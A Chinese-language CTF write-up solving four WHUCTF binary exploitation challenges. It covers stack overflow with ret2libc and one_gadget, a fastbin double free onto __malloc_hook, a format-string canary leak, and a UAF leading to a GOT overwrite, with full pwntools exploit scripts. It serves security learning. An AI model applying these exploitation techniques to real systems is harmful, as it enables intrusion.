花了大概兩天時間來做WHUCTF的題目,第一次排名這么靠前。首先感謝武漢大學舉辦這次萌新賽,也感謝fmyy的師傅的耐心指導,讓我第一次做出堆的題目來。
pwnpwnpwn
這是一道棧題目,32位程序,只開啟了堆棧不可執行。棧溢出泄露libc的基地址,然后換成one_gadget,就可以了。

1 from pwn import * 2 3 #p = process('./pwn') 4 p = remote('218.197.154.9',10004) 5 elf = ELF('./pwn') 6 context.log_level = 'debug' 7 8 write_plt = elf.plt['write'] 9 fun_got = elf.got['__libc_start_main'] 10 main = elf.symbols['main'] 11 12 payload = 'a'*0x88 + 'bbbb' + p32(write_plt) 13 payload += p32(main) + p32(1) + p32(fun_got) + p32(0x10) 14 p.sendlineafter('Ready?\n',payload) 15 base_addr = u32(p.recv(4)) - 0x018540 16 shell = base_addr + 0x3a80c 17 payload = 'a'*0x88 + 'bbbb' + p32(shell) 18 p.sendlineafter('Ready?\n',payload) 19 p.interactive()
FFF
一道堆題目,64位程序,保護全開。題目有UAF,可以用double free進行攻擊。
首先做的第一步,就是先利用unsortedbin的機制來泄露libc,這里我就說一下我的理解,就是在malloc堆的時候堆的大小大於120,再free,這個堆就會先放到unsortedbin里面。這里說的120是malloc(120),並不是堆的實際大小,而且是大於,就說明121才可以。
放到unsortedbin里面,在2.23的libc版本中,此時的未釋放的指針還是指向堆,而堆指向的地址是main_arena+88的位置,這里我們可以用程序的show功能,來泄露libc版本和基地址。在這里,我剛開始做的時候,一直找不到main_arena+88在libc中的偏移。無奈又去問了fmyy師傅,師傅告訴我說,main_arena 在malloc_hook下面0x10個字節。這下問題就解決了。
在這里可以很清楚的看到,main_arena和__malloc_hook的位置。(超開心,感覺找到了幾個月前剛知道libc的感覺)
接下來就是double free了。
add(0x80) #chunk0
add(0x60) #chunk1
add(0x60) #chunk2
delete(0)
show(0) #泄露libc
delete(1) #free chunk1
delete(2) #free chunk2
delete(1) #再次free chunk1
此時的fastbins是這樣的,我們接下來要將他們都申請回來。第一次申請會申請到這個地址。
add(0x60)
這個時候,我們修改再次申請到的chunk1的fd指針,讓他指向我們想要指向的
edit(1,8,address)
這個時候我們再看一下fastbins
這個時候我們再申請回chunk2,再申請一次chunk1,再申請一次chunk,就會申請到我們想要申請的地址了。這里我用abcdefgh來標注了一下。這里我們要填哪個地址呢?目前我知道的,是可以申請到malloc_hook -0x23的地方,這個地址+0x8會指向一個字節是是0x7f,就是讓這個當作這次申請的chunk的size字段,這樣就可以成功申請下來了。
由於小端存儲,此時我們將chunk申請到了malloc_hook -0x23的位置。
這個時候我們是可以對這個chunk進行寫操作的,我們可寫的內容就是malloc_hook -0x23+0x10一下的位置,我們這里申請的chunk是0x60大小,就可以往下寫0x60大小。
所以接下來的操作就是
add(0x60) #申請回來chunk2
add(0x60) #再次申請chunk1
add(0x60) #申請chunk3,位置就到了malloc_hook -0x23的位置。
這個時候我們對chunk3進行寫操作,將__malloc_hook的位置寫上one_gadget,這個時候我們再次調用malloc函數的時候,就會調用one_gadget來拿到shell。
edit(6,28,'\x00'*0x13 + p64(one_gadget))
add(0x60) #調用__malloc_hook拿到shell!!!
補充:目前的理解是,__malloc_hook是程序在執行malloc的時候會先執行__malloc_hook中指向的命令。也附一下其他師傅的理解,相互補充。原文地址
這道題就算是做完了,最后貼一下exp:

1 from pwn import * 2 3 p = process('./pwn') 4 #p = remote('218.197.154.9',10007) 5 elf = ELF('./pwn') 6 libc = ELF('libc6_2.23-0ubuntu10_amd64.so') 7 context.log_level = 'debug' 8 9 def duan(): 10 gdb.attach(p) 11 pause() 12 13 def add(size): 14 p.sendlineafter('> ','1') 15 p.sendlineafter('size?\n',str(size)) 16 17 def edit(index,size,content): 18 p.sendlineafter('> ','2') 19 p.sendlineafter('index?\n',str(index)) 20 p.sendlineafter('size?\n',str(size)) 21 p.send(content) 22 23 def show(index): 24 p.sendlineafter('> ','3') 25 p.sendlineafter('index?\n',str(index)) 26 27 def remove(index): 28 p.sendlineafter('> ','4') 29 p.sendlineafter('index?\n',str(index)) 30 31 add(0x80) 32 add(0x60) 33 add(0x60) 34 remove(0) 35 show(0) 36 37 malloc_hook = u64(p.recv(6).ljust(8,'\x00')) - 88 - 0x10 38 print hex(malloc_hook) 39 libc_base = malloc_hook - 0x3c4b10 40 one_gadget = libc_base + 0xF02A4 41 remove(1) 42 remove(2) 43 remove(1) 44 45 add(0x60) 46 edit(1,8,p64(malloc_hook - 0x23)) 47 #duan() 48 add(0x60) 49 add(0x60) 50 add(0x60) 51 edit(6,28,'\x00'*0x13 + p64(one_gadget)) 52 add(0x60) 53 54 p.interactive()
arbitrary
64位程序,保護全開,是一道棧的題目。不過我感覺我的做法好像非預期了。。。
先ida看一下偽代碼:
main函數展示了一個菜單,而且每個功能只能用一次。我們再來看一下f1()函數做了些什么:
大概意思就是往addr寫數字,然后...就沒了...我也沒太理解出題人設計這個f1()的意思。addr下面是控制函數只能執行一次的變量,我們可以通過覆蓋這些變量,讓功能可以重復再用一次。不過好像不用這個也可以getshell!
接下來我們看f2():
很明顯第二次read的時候可以溢出到rip,但是程序開啟了canary保護,所以我們不能直接溢出。
接下來看f3():
有一個格式話字符串漏洞,我在使用的時候發現不能用$,看別的師傅說是把$ban掉了。。。這里就有一個新知識點了。我們再回到此題的保護:
出現一個從未見過的保護,FORTIFY,這里就注意一下這個保護:
FORTIFY:FORTIFY_SOURCE 機制對格式化字符串有兩個限制
(1)包含%n的格式化字符串不能位於程序內存中的可寫地址。
(2)當使用位置參數時,必須使用范圍內的所有參數。所以如果要使用%7$x,你必須同時使用1,2,3,4,5和6。
所以就給我們利用格式化字符串造成了一些麻煩,但是這題我們只要想着可以泄露libc和canary就可以了。這個時候我就想着,管他呢,我先隨便泄露一些東西,看看是啥。我先把rsp向上抬了0x50,方便看東西。
可以看到是直接可以一步泄露出canary和libc的基地址的。這里有一點注意的是,我雖然很清楚rbp上面8個字節就是canary,但是這道題的canary不能直接用,需要講最后一個字節“0a”改成“00”,因為我也很清楚,canary的最后一個自己一定是“00”。。。我也不太清楚為什么這道題先leak出來是“0a”。接下來就是利用f2()的棧溢出覆蓋成one_gadget來getshell了。
貼一下exp:

1 from pwn import * 2 3 p = process('./pwn') 4 #p = remote('218.197.154.9',10005) 5 elf = ELF('./pwn') 6 #libc = ELF('./libc-2.23.so') 7 context.log_level = 'debug' 8 9 def duan(): 10 gdb.attach(p) 11 pause() 12 13 p.sendlineafter('choice>>\n','3') 14 payload = 'aaaaaaaa%p%p%p%p%p%p%pbbbbbbbb%p%pcccccccc%p' 15 p.sendafter('input data:\n',payload) 16 p.recvuntil('bbbbbbbb') 17 canary = int(p.recv(16).ljust(18,'0'),16) 18 print hex(canary) 19 p.recvuntil('cccccccc') 20 libc_base = int(p.recv(14),16) - 240 - 0x020740 21 shell = libc_base + 0x45216 22 p.sendlineafter('choice>>\n','2') 23 p.sendafter('input data:','a') 24 payload = 'a'*0x38 + p64(canary) + 'bbbbbbbb' + p64(shell) 25 p.sendafter('input data:',payload) 26 p.interactive()
attention
先看一下保護:
可以看到只開啟了部分RELRO,這個時候got表是可寫的。我們看一下這個程序都做了些什么。
也是一道菜單的堆題目,可以看到我們可以進行菜單操作88次,88次后就會退出。接下來看一次每一個功能做了些什么。先看create:
直接就是申請一個固定大小的堆塊,用指針指向。說明我們假如再申請一個堆塊,這個指針就又會指向新申請的堆塊。
接下來看edit:
也很簡單,就是向堆塊里面寫值,可以寫一個8字節的name,可以寫一個0x20字節的data。但是只能向ptr指向的那個堆寫內容。接下來看delete:
確實是萌新賽,太照顧我了。。。感動,又一個UAF。
最后一個show:
就是普通的打印操作了。
UAF漏洞,我們先申請一個chunk0,再free掉,然后向chunk0的fd位置寫上我們想要堆塊第三次申請到的地址:
在fastbins里面已經有了。這里有就學問了,那么這里的“abcdefgh”應該替換成什么呢?就是我們要申請到哪個地址呢?
還記得main函數中有個東西是,菜單只能循環88次嗎?而循環遞增的變量就是這個dword_6010A8,我們只要將這個變量變成大於或等於0x41,就可以將堆申請到這里,並且來控制ptr指針了。所以我們先使用菜單讓這個變量大於0x41,接下來就執行下面的操作。
creat()
delete()
edit(p64(0x6010A0),'bbbbbbbb') #需要指向堆塊的開頭位置,所以-8
creat()
creat()
很清楚的可以看到此時的ptr指針是指向自己的,這個時候我們就可以修改指針,讓指針指向got表的位置,然后進行show操作,先泄露libc的基地址,然后edit操作修改成one_gadget來getsshell。我這里修改的是atoi的got表。
edit(p64(0x601060),'bbbbbbbb')
show()
edit(p64(shell),'bbbbbbbb')
p.sendline('5') #觸發getshell
p.interactive()
這道題就做完了,最后貼一下exp:

1 from pwn import * 2 3 p = process('./pwn') 4 #p = remote('218.197.154.9',10002) 5 context.log_level = 'debug' 6 7 def duan(): 8 gdb.attach(p) 9 pause() 10 11 def create(): 12 p.sendlineafter('choice :\n','1') 13 14 def edit(name,data): 15 p.sendlineafter('choice :\n','2') 16 p.sendafter('name:\n',name) 17 p.sendafter('data:\n',data) 18 19 def delete(): 20 p.sendlineafter('choice :\n','3') 21 22 def show(): 23 p.sendlineafter('choice :\n','4') 24 25 create() 26 delete() 27 for i in range(0x3d): 28 edit('aaaaaaaa','bbbbbbbb') 29 30 edit(p64(0x06010A0),'bbbbbbbb') 31 create() 32 create() 33 edit(p64(0x00601060),'bbbbbbbb') 34 show() 35 p.recvuntil('name:') 36 libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x036e80 37 shell = libc_base + 0xf1147 38 edit(p64(shell),p64(shell)) 39 p.sendline('5') 40 p.sendline('ls') 41 p.sendline('cat flag') 42 p.recv() 43 p.close()